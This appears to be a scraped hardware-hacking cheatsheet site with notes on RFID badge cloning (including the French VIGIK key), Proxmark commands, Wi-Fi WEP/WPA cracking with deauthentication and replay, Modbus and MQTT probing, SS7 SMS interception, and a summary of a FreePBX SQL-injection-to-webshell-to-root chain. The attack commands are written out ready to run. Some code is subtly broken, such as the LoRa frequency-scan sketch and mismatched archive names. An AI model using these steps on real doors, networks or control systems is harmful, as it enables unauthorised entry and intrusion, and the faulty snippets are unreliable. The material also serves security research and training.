cjbrigato/kigiv-for-proxmark3 - KIGIV stands for Reverse VIGIK, the French Residential and Postal/State services Residential Security system.

modprobe -r pn533_usb
modprobe -r pn533

nfc-list # Check the proper functioning of the reader
mfoc -P 500 -O blank-card.dmp # Extract the encryption keys from the Chinese RFID chip into a file
mfoc -P 500 -O original-card.dmp # Copy the content of the original RFID chip into a file
nfc-mfclassic W a original-card.dmp blank-card.dmp # Write the content of the original chip onto the Chinese chip

Residential & Service Tokens#

Usually the key A is 0x314b49474956 (“1KIGIV”)

HTTP - Hypertext Transfer Protocol

Sun, 12 Jul 2026 22:01:52 +0200

HTTPS Proxy: Burp Suite, MITM Proxy, Fiddler
Network Sniffer: Wireshark, tcpdump

HydraBus

Sun, 12 Jul 2026 22:01:52 +0200

HydraBUS - Pin Assignment

Features#

Support many extensions:

HydraNFC - Hydrabus shield for NFC
HydraFlash - NAND flash shield
HydraLINCAN - Hydrabus shield for LIN and CAN buses

External interactions:

Firmware#

hydrabus/hydrafw - HydraFW official firmware for HydraBus/HydraNFC
hydrabus/hydrafw_hydranfc_shield_v2 - HydraFW dedicated to HydraBus v1 / HydraNFC Shield v2
bvernoux/blackmagic - In application debugger for ARM Cortex microcontrollers

Firmware Update#

Detailed steps: hydrafw/Getting-Started-with-HydraBus-flash-and-use-hydrafw-on-linux

HydraFlash

Sun, 12 Jul 2026 22:01:52 +0200

Designed to dump Flash NAND chips

Usage#

hydrabus/DumpFlash-Hydrabus

pip install git+https://github.com/hydrabus/DumpFlash-Hydrabus
python2 DumpFlash.py -d /dev/hydrabus -i

References#

Hydrabus NAND Flash shield - hydrabus/HydraFlash

HydraNFC

Sun, 12 Jul 2026 22:01:52 +0200

Features#

Support of microSD (FAT16/FAT32) card up to 32GB
Virtual Serial Port access through micro USB with VT100 terminal/shell
Basic UID read for Vicinity/ISO15693
Basic UID read for ISO14443-A/MIFARE ® card 4 or 7bytes UID
Read MIFARE Ultralight® tag content (full dump)
Tag Emulation UID ISO14443A & MIFARE Classic® 1K
Sniffer mode in an autonomous/stand-alone mode
Real-time ISO14443A sniffer mode

Firmware#

hydrabus/hydrafw_hydranfc_shield_v2 - HydraFW dedicated to HydraBus v1 / HydraNFC Shield v2

Using console, type nfc + Enter to enter NFC mode dedicated to HydraNFC Shield v2.

HydraUSB3

Sun, 12 Jul 2026 22:01:52 +0200

HydraUSB3 (WCH CH569) open source test firmware / examples / libraries to experiment with streaming / high-speed protocols (USB2 HS, USB3 SS, HSPI, SerDes…)

HydraUSB3 - Pin Assignment

hydrausb3/hydrausb3_fw - Firmware
hydrausb3/hydrausb3_hw - Hardware documentation

Warning It is MANDATORY to buy a “USB 3 Type A male to USB 3 Type A male cable” (the cable shall have Power+Data with USB2 and USB3 SS signals)

Firmware Flashing#

Linux:

I2C - Inter-Integrated Circuit

Sun, 12 Jul 2026 22:01:52 +0200

I2C (Inter-Integrated Circuit), pronounced “I-squared-C” or “I-two-C”, is a popular communication protocol mainly used for low-speed, short-distance communication in embedded systems.

Analysis#

:warning: Enable I2C on the Raspberry Pi via raspi-config

i2c-tools

sudo apt-get install i2c-tools
i2cdetect -y 1

eeprog

wget http://darkswarm.org/eeprog-0.7.6-tear5.tar.gz
tar -xvf eeprog-0.7.6-tear5.tar.gz eeprog-0.7.6-tear12/
cd eeprog-0.7.6-tear12/
make
sudo make install

HydraBus
```
i2c1> show pins
i2c1> scan
```

Read / Write#

Read: ./eeprog -x /dev/i2c-1 0x50 -16 -r 0x00:0x10
Write: echo "hello" | ./eeprog -f -16 -w 0 -t 5 /dev/i2c-1 0x50

References#

How to Scan and Detect I2C Addresses - Carter Nelson

iCopy-X

Sun, 12 Jul 2026 22:01:52 +0200

iCopy-X is a “super” automated handheld RFID copier based on Proxmark3. iCopy-X can read, crack, duplicate, sniff and simulate without the use of a PC.

iCopy-X-Community
- iCopy-X-Community/icopyx-upstream - Collecting elements provided by the manufacturer
- iCopy-X-Community/icopyx-community-pm3 - Scrap repo for various tests
- iCopy-X-Community/icopyx-teardown

Update#

Latest firmware: 1.0.90 2022-08-16

icopy-x.com/otasys

Step 1: Enter the device S/N (found under the “About” menu) on the website and download the upgrade package to your PC.

JTAG

Sun, 12 Jul 2026 22:01:52 +0200

Summary#

JTAG Pins
JTAGEnum
References

JTAG Pins#

Allows testing, debugging, firmware manipulation and boundary scanning

TCK: Test Clock The drummer, or metronome that dictates the speed of the TAP controller. Voltage on this pin simply pulses up and down in a rhythmic, steady beat. On every “beat” of the clock, the TAP controller takes a single action. The actual clock speed is not specified in the JTAG standard. The TAP controller accepts its speed from the outside device controlling JTAG.

JTAG

Sun, 12 Jul 2026 22:01:52 +0200

Sometimes when you have no idea what’s the pinout of the JTAG port, you have to find a way to correctly identify each of the JTAG pins. There are few ways to do that, one of them is by “bruteforcing” the pins for IDCODE or BYPASS JTAG commands.

There are several tools and ways to enumerate JTAG pins. Here are few:

Probing pin voltage, resistence to VCC and GND (TODO)
Searching with Joe Grand’s JTAGulator (TODO)
Using an Arduino Pro Micro
Using an Raspberry Pi Pico

Searching JTAG pins with Raspberry PI Pico#

Raspberry Pi Pico: https://github.com/racerxdl/JTAGscan made by szymonh adapted to RP2040 by racerxdl

How does it work?#

JTAGscan iterates over all defined pins (currently for RP2040, the first 16 pins) searching for TMS, TCK, TDO and TDI.

LF - HID & Indala

Sun, 12 Jul 2026 22:01:52 +0200

HID & Indala#

Cloning requires writable T55xx card. The T55x7 card can be configured to emulate many of the 125 kHz tags.

lf search # HID Prox TAG ID: 2004263f88
lf hid fskdemod # (Push the button on the PM3 to stop scanning - not necessary)
lf hid demod # (Push the button on the PM3 to stop scanning - not necessary)
lf hid clone 2004263f88 # (id à cloner)
lf hid sim 200671012d # simulate HID card with UID=200671012d

lf indala read
lf indala demod
lf indala sim a0000000c2c436c1 # simulate Indala with UID=a0000000c2c436c1
lf indala clone a0000000c2c436c1 # clone Indala to T55x7 card

lf hitag info
lf hitag sim c378181c_a8f7.ht2 # simulate HiTag

LF - EM410X#

Read only memory :/

Links & Hardware Kits

Sun, 12 Jul 2026 22:01:52 +0200

Hardware Challenges & CTF#

Twitch & Streaming#

Books#

Hardware Kits#

Logic Analyzer

Sun, 12 Jul 2026 22:01:52 +0200

Sigrok / Pulseview#

Sigrok wiki > Downloads

sigrok/kali-rolling 0.3 all
Logic analyzer and protocol decoder software suite (metapackage)

pulseview/kali-rolling 0.4.2-3+b1 amd64
sigrok logic analyzer, oscilloscope, and MSO GUI

Saleae#

Logic 2 Software

Interact#

screen /dev/ttyUSB0 19200

References#

LoRa - LoRaWAN

Sun, 12 Jul 2026 22:01:52 +0200

LoRa with Arduino on 868.1MHZ#

arduino-LoRa
use 868.1MHZ with SpreadFactor 10

#include <SPI.h>
#include <LoRa.h>

void setup() {
 Serial.begin(9600);
 while (!Serial);

 Serial.println("LoRa Receiver");

 if (!LoRa.begin(868.1E6)) {
 Serial.println("Starting LoRa failed!");
 while (1);
 }
 LoRa.setSpreadingFactor(10);
}

void onReceive(int packetSize) {

 Serial.print("packet recv\n");
 // read packet
 for (int i = 0; i < packetSize; i++) {
 Serial.print((char)LoRa.read());
 }
}

void loop() {
 LoRa.receive();
 LoRa.onReceive(onReceive); 
}

Bruteforce all the EU frequencies and the SpreadFactor#

#include <SPI.h>
#include <LoRa.h>

float freq[5] = { 868.3E6, 868.5E6, 867.1E6, 867.5E6, 867.7E6, 867.9E6 }; 

void setup() {
 Serial.begin(9600);
 while (!Serial);

 Serial.println("LoRa Receiver");

 if (!LoRa.begin(868.1E6)) {
 Serial.println("Starting LoRa failed!");
 while (1);
 }
 LoRa.setSpreadingFactor(10);
}

void onReceive(int packetSize) {

 Serial.print("packet recv\n");
 // read packet
 for (int i = 0; i < packetSize; i++) {
 Serial.print((char)LoRa.read());
 }
}

void loop() {
 
 LoRa.receive();
 LoRa.onReceive(onReceive);
 delay(5000);
 While(1) {
 int i;
 for(i=0; i < 5 ; i++)
 {
 
 LoRa.setFrequency(freq[i]);
 int j;
 for(j=7; j <= 12; j++)
 {
 
 // loop on spreading factor is finish, set new freq
 LoRa.setSpreadingFactor(i);
 delay(5000);
 }
 }
 }
}

Display RSSI of the packet#

The Received Signal Strength Indication (RSSI) is the received signal power in milliwatts and is measured in dBm.

Memory Programmer

Sun, 12 Jul 2026 22:01:52 +0200

RT809H

RT809H with multiple adapters/sockets for eMMC/NAND Flash

Micro::bit

Sun, 12 Jul 2026 22:01:52 +0200

Extract source code from firmware#

When the source has been build from makecode.microbit.org, the Javascript code is embedded into the firmware.

import bincopy
import lzma
import sys
import subprocess
import json

# split firmware into raw and code
with open(sys.argv[1],'r') as f:
 fwstring = f.read()
 fwsplit = fwstring.split('\n\n')
 
 with open('fw_raw.hex', 'w') as g:
 g.write(fwsplit[0])
 with open('fw_code.hex', 'w') as g:
 g.write(fwsplit[1])

# Convert ihex to bin
f = bincopy.BinFile()
f.add_ihex_file('fw_code.hex')
binary = f.as_binary()
print("[+] ihex converted to binary")

## Extract code firmware, bruteforce offset
for i in range(200):
 with open('firmware.bin', 'w+b') as g:
 g.write(binary[i:])

 try:
 data = subprocess.run(["lzma", "firmware.bin", "-d", "--stdout"], capture_output=True)
 data = data.stdout.decode().split('}',1)
 data = data[1][1:]
 data = json.loads(data)
 print(data)
 print("\n[+] Javascript code")
 print(data['main.ts'])
 except Exception as e:
 continue

Extract firmware using SWD#

Connection#

Solder wires on SWD pins:

MMS - Manufacturing Message Specification

Sun, 12 Jul 2026 22:01:52 +0200

IEC 61850

Discovery#

MMS Client

MMS Discovery Nmap Script

Source: mms-identify.nse

nmap -d --script mms-identify.nse --script-args='mms-identify.timeout=500' -p 102 <target_host>

Explore MMS#

Fuzzing MMS#

61850-fuzzing

Modbus

Sun, 12 Jul 2026 22:01:52 +0200

Discovery#

Modbus Client:

Modbus Discover Nmap Script:

nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 <host>

Connect to Modbus Slave:

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('<IP_Address_of_Target>')
client.write_coil(1, True)
result = client.read_coils(1,1)
print(result.bits[0])
client.close()

Modbus Pentesting:

smod

Modbus Simulators#

Modbus Slave Simulator:

Modbus Master Simulator:

modpoll

MQTT - Message Queuing Telemetry Transport

Sun, 12 Jul 2026 22:01:52 +0200

Discovery#

MQTT is a lightweight messaging protocol often used in IoT (Internet of Things) applications.

1883: Default port for MQTT.
8883: Default port for MQTT over TLS/SSL.

MQTT client:

mqtt-spy
MQTT CLI
MQTT Lens
MQTT.fx

mosquitto_tools

mosquitto_sub -h sensors.domain.com -t '#'
mosquitto_sub -h sensors.domain.com -t '+'
mosquitto_sub -h sensors.domain.com -t "/sensor/"

Scan an MQTT with nmap :

nmap -p 1883 -vvv --script=mqtt-subscribe -d sensors.domain.com

Explore MQTT#

Connect and subscribe to every topics using the # keyword.

import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
 print "[+] Connection successful"
 client.subscribe('#', qos = 1) # Subscribe to all topics
 client.subscribe('$SYS/#') # Broker Status (Mosquitto)
def on_message(client, userdata, msg):
 print '[+] Topic: %s - Message: %s' % (msg.topic, msg.payload)
client = mqtt.Client(client_id = "MqttClient")
client.on_connect = on_connect
client.on_message = on_message
client.connect('SERVER IP HERE', 1883, 60)
client.loop_forever()

Send MQTT requests

NFC - Amiibo

Sun, 12 Jul 2026 22:01:52 +0200

Amiibo are small figurines or cards produced by Nintendo that contain Near Field Communication (NFC) chips. These chips allow the Amiibo to interact with various Nintendo gaming systems, such as the Wii U, Nintendo 3DS, and Nintendo Switch.

Tools#

socram8888/amiitool - Reverse-engineered amiibo cryptography

Amiibo Encryption#

Nintendo added their own layer of encryption and digital signing to increase security. The digital signing prevents you from blindly altering the game data bytes because then the signature will no longer match. Additionally, the signature is also based on the UID of the tag, so you can’t simply copy the bytes from an Amiibo to a blank NTAG215 to clone it.

Proxmark

Sun, 12 Jul 2026 22:01:52 +0200

Proxmark3 is a powerful tool for RFID research, allowing you to read, write, and clone various types of RFID tags. This cheatsheet provides a quick reference for common Proxmark3 commands and usage.

Table of Contents#

Setup and Configuration
Basic Commands
Low Frequency (LF) Commands
High Frequency (HF) Commands
Mifare Classic Commands
Mifare Ultralight Commands
iClass Commands
Troubleshooting

Setup and Configuration#

Installation#

Clone the Proxmark3 repository:

Pwnagotchi

Sun, 12 Jul 2026 22:01:52 +0200

Documentation: https://pwnagotchi.ai/

Pwnagotchi

Raspberry Pi

Sun, 12 Jul 2026 22:01:52 +0200

GPIO Header#

Raspberry PI GPIO Header

Tools#

raspi-sec-tool - using Raspberry pi as hacking tool

References#

SDR

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

ainfosec/FISSURE - The RF and reverse engineering framework for everyone.

SPI - Serial Peripheral Interface

Sun, 12 Jul 2026 22:01:52 +0200

Serial Peripheral Interface (SPI), is a type of communication protocol used primarily in microcontroller-based systems The controller selects a chip it send and receive information to and from. NOR flash chips with an SPI interface are commonly used as firmware boot chip. SPI has one read and one write line. In QSPI mode, 4 lines are used in parallel.

SPI mainly involves four lines or wires:

MOSI (Master Out Slave In): This is the line through which the master sends data to the slave.
MISO (Master In Slave Out): Through this line, the slave sends data back to the master.
SCLK (Serial Clock): This line is like a clock ticking, controlled by the master. It helps in timing the data transfer, ensuring both master and slave are synchronized.
SS (Slave Select)/CS (Chip Select): When the master wants to talk to a particular slave, it uses this line to select the slave.

Interact via SPI#

HydraBus SPI

Connect to HydraBus and communicate via the SPI protocol

SS7 - Signaling System No. 7

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

P1sec/SigFW - Open Source Signaling Firewall for SS7, Diameter filtering, antispoof and antisniff
0xc0decafe/ss7MAPer - SS7 MAP (pen-)testing toolkit
SigPloiter/SigPloit - SigPloit: Telecom Signaling Exploitation Framework - SS7, GTP, Diameter & SIP

SMS 2FA Interception#

SS7 plays a part in the transportation of SMS messages. An attacker may be able to register a victims MSISDN (mobile number) on a fake MSC (Mobile Switching Centre), the victims operator’s HLR (Home Location Register) that works as a kind of telephone directory for MSISDNs, operators and SMS service centres (SMSC) will set the new location for the Victim’s MSISDN.

SWD

Sun, 12 Jul 2026 22:01:52 +0200

Summary#

SWD Pins

SWD pins#

SWCLK: Clock into the core
SWDIO: Data in / out

JTAG and SWD are similar and can be interfaced with each other:

JTAG Mode	SWD Mode	Signal
TCK	SWCLK	Clock into the core
TDI	-	JTAG test data input
TDO	SWV	JTAG Test data output / SWV trace data output
TMS	SWDIO	JTAG test mode select / SWD data in and out
GND	GND	-

References#

Hardware Debugging for Reverse Engineers Part 1: SWD, OpenOCD and Xbox One Controllers - Posted Jan 30, 2020 by wrongbaud

UART

Sun, 12 Jul 2026 22:01:52 +0200

What is it?#

UART stands for Universal asynchronous receiver transmitter. Used for serial communications over a computer or peripheral device serial port.

UART peripherals are commonly integrated into many embedded devices. UART communication makes use of baud rate to maintain synchronism between two devices. The baud rate is the rate at which information is transferred in a communication channel.

With access to the UART, a user can see the bootloader and operating system logs.

UPnP - Universal Plug and Play

Sun, 12 Jul 2026 22:01:52 +0200

TODO

USB - Universal Serial Bus

Sun, 12 Jul 2026 22:01:52 +0200

USB Type 2#

USB Type 3#

USB Type C#

Fuzzing#

HydraBus/HydraUSB3
goodfet/Facedancer21 - The purpose of this board is to allow USB devices to be written in host-side Python, so that one workstation can fuzz-test the USB device drivers of another host.

References#

Wifi - Additional Tricks and Tools

Sun, 12 Jul 2026 22:01:52 +0200

Additional Aircrack-NG Tools#

Remove Wireless Headers#

airdecap-ng -b $AP_MAC open-network.cap
* -dec.cap: stripped version of the file

Decrypt a WEP encrypted capture file#

airdecap-ng -w $WEP_KEY wep.cap

Decrypt a WPA2 encrypted capture file#

airdecap-ng -e $AP_SSID -p $WPA_PASSWORD tkip.cap

Remote Aircrack Suite#

airmon-ng start wlan0 3
airserv-ng -p 1337 -c 3 -d mon0
airodump-ng -c 3 --bssid $AP_MAC $HOST:$PORT

Wireless Intrusion Detection System#

Requires wireless key and bssid

airmon-ng start wlan0 3

# create the at0 interface
airtun-ng -a $AP_MAC -w $WEP_KEY mon0
# the interface will auto decrypt packets

Wireless Reconnaissance#

Use CSV file from airodump

Wifi - Basics

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

aircrack-ng/aircrack-ng - WiFi security auditing tools suite
kimocoder/wifite2 - Fork of wifite2
derv82/wifite2 - Rewrite of the popular wireless network auditor, “wifite”. Development stopped in 2018.
derv82/wifite - Wifite is an automated wireless attack tool.

Linux Wireless Basics#

AP_MAC="XX:XX:XX:XX:XX" # BSSID
VICTIM_MAC="XX:XX:XX:XX:XX" # VIC
ATTACKER_MAC="XX:XX:XX:XX:XX" # MON
AP_SSID="wifibox" # ESSID
SRC_ADDR="192.168.1.1"
DST_ADDR="192.168.1.255"

# driver install
apt install realtek-rtl88xxau-dkms

# network card recon
iwconfig
iw list
dmesg | grep 8187 # alfa card

# Increase Wi-Fi TX Power
iw reg set B0
iwconfig wlan0 txpower <NmW|NdBm|off|auto> # txpower is 30 (usually)

# find SSID and channel
iw dev wlan0 scan | grep SSID
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"
iwlist wlan0 scanning | egrep "ESSID|Channel"

# monitor mode - start
airmon-ng start wlan0
airmon-ng start wlan0 3 # only on a particular channel e.g: 3
 * Manual 1: iw dev wlan0 interface add mon0 type monitor
 * Manual 2: iwconfig wlan0 mode monitor channel 3
ifconfig mon0 up
# monitor mode - stop
airmon-ng stop mon0
 * Manual 1: iw dev wlan0 interface del mon0 
 * Manual 2: iwconfig wlan0 mode managed

Aircrack-ng Essentials#

Check and kill processes that could interfere with our monitor mode

Wifi - Enterprise Network

Sun, 12 Jul 2026 22:01:52 +0200

WPA and WPA2 EAP#

WPA EAP refers to the use of the Extensible Authentication Protocol (EAP) within the context of the Wi-Fi Protected Access (WPA) security standard for wireless networks. WPA is a suite of security protocols to secure wireless local area networks (WLANs) and is a response to the vulnerabilities of the older Wired Equivalent Privacy (WEP) standard. WPA EAP is specifically associated with the enterprise mode of WPA, which uses 802.1X authentication to provide a higher level of security compared to the personal mode of WPA, which uses a pre-shared key (PSK).

Wifi - WEP Cracking

Sun, 12 Jul 2026 22:01:52 +0200

Cracking WEP with a Client#

ARP Request Replay Attack#

Attack the ACCESS POINT

airmon-ng start wlan0 3 # only a particular channel : 3
airodump-ng mon0 -c 3 --bssid $AP_MAC -w arpreplay # dump traffic

# Fake authentication for a more reliable attack
aireplay-ng -1 0 -e $AP_SSID -b $AP_MAC -h $ATTACKER_MAC mon0

# ARP replay attack
aireplay-ng -3 -b $AP_MAC -h $ATTACKER_MAC mon0

# Deauthentication
aireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0

# Cracking
aircrack-ng arpreplay.cap

Interactive replay attack#

Attack a client to force new packets 0841 attack, or interactive packet replay is a WEP attack that allows for packet injection when ARP replay is not available/working.

Wifi - WPA Cracking

Sun, 12 Jul 2026 22:01:52 +0200

Tools#

aircrack-ng/aircrack-ng - WiFi security auditing tools suite
bettercap/bettercap

WPA PSK Attack#

Cracking WPA with John the Ripper#

# put into monitor mode on our desired channel
airmon-ng start wlan0 3 # only a particular channel : 3
airodump-ng -c 3 --bssid $AP_MAC -w wpajohn mon0 # see no client

# deauthentication to get the WPA handshake (Sniffing should show the 4-way handshake)
aireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0

# crack without john the ripper (-b <BSSID>)
aircrack-ng -0 -w /pentest/passwords/john/password.lst wpajohn-01.cap
aircrack-ng -w password.lst,secondlist.txt wpajohn-01.cap # multiple dicts

# crack with john the ripper - combine mangling rules with aircrack
# rules example to add in /pentest/passwords/john/john.conf
# $[0-9]$[0-9]
# $[0-9]$[0-9]$[0-9]
john --wordlist=/pentest/wireless/aircrack-ng/test/password.lst --rules --stdout | aircrack-ng -0 -e $AP_SSID -w - /root/wpajohn

# generate PMKs for a faster cracking - Precomputed WPA Keys Database Attack
echo wifu > essid.txt
airolib-ng test.db --import essid essid.txt
airolib-ng test.db --stats
airolib-ng test.db --import passwd /pentest/passwords/john/password.lst
airolib-ng test.db --batch
airolib-ng test.db --stats
aircrack-ng -r test.db wpajohn-01.cap
# airolib-ng test.db --clean all

# Not in lab - Convert to hccap to use with John Jumbo
aircrack-ng <FileName>.cap -J <outFile>
hccap2john <outFile>.hccap > <JohnOutFile>
john <JohnOutFile>

Cracking WPA with coWPAtty#

Better for PMK Rainbow table attacks

ZigBee

Sun, 12 Jul 2026 22:01:52 +0200

Zigbee is a specification for a suite of high-level communication protocols using low-power digital radios. It’s designed for use in areas like home automation, medical data collection, industrial control systems, and other applications that require secure and reliable wireless communication.

Zigbee is an IEEE 802.15.4-based, wireless networking standard, which is used for two-way communication between sensors and control systems. Zigbee is a short-range wireless communication standard like Bluetooth and Wi-Fi while covering a range of 10 to 100 meters.

Connected

Sat, 06 Jun 2026 00:00:00 +0000

An unauthenticated stacked SQL injection in the FreePBX 16 endpoint module (CVE-2025-57819) inserts a full-access administrator directly into the ampusers table, and the Endpoint Manager firmware uploader (CVE-2025-61678) is then abused with a path traversal to drop a PHP webshell, yielding code execution as asterisk and the user flag. FreePBX config files leak the MariaDB credentials in plaintext, granting write access to the asterisk database. The root-run synologyabb sysadmin hook execs a DB-controlled CLI path, so repointing the SYNOLOGYABFBABBCLI setting at an attacker script and firing the incron trigger runs it as root.

7z